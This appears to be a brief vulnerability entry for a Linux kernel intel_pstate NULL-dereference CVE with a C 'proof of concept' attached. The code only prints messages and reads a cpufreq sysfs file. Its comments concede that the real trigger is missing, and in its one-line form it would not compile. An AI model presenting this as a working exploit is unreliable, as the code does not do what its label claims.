CVE-2026-43401 Linux内核intel_pstate空指针解引用漏洞

#include <stdio.h> #include <stdlib.h> /* * PoC for CVE-2026-43401 * Trigger: intel_pstate NULL pointer dereference * Condition: System must be booted with 'nosmt' parameter. * Description: Attempts to trigger cpufreq update paths. */ int main() { printf("[+] Attempting to trigger CVE-2026-43401\n"); printf("[!] This PoC requires the system to be booted with 'nosmt'.\n"); // Triggering cpufreq transitions might invoke update_cpu_qos_request() // Writing to scaling_setspeed or changing governors can trigger internal updates. system("cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq > /dev/null"); // In a real exploit scenario, specific timing or sysfs manipulation is needed // to hit the exact code path where update_qos_requests() is called on a NULL cpu_data. return 0; }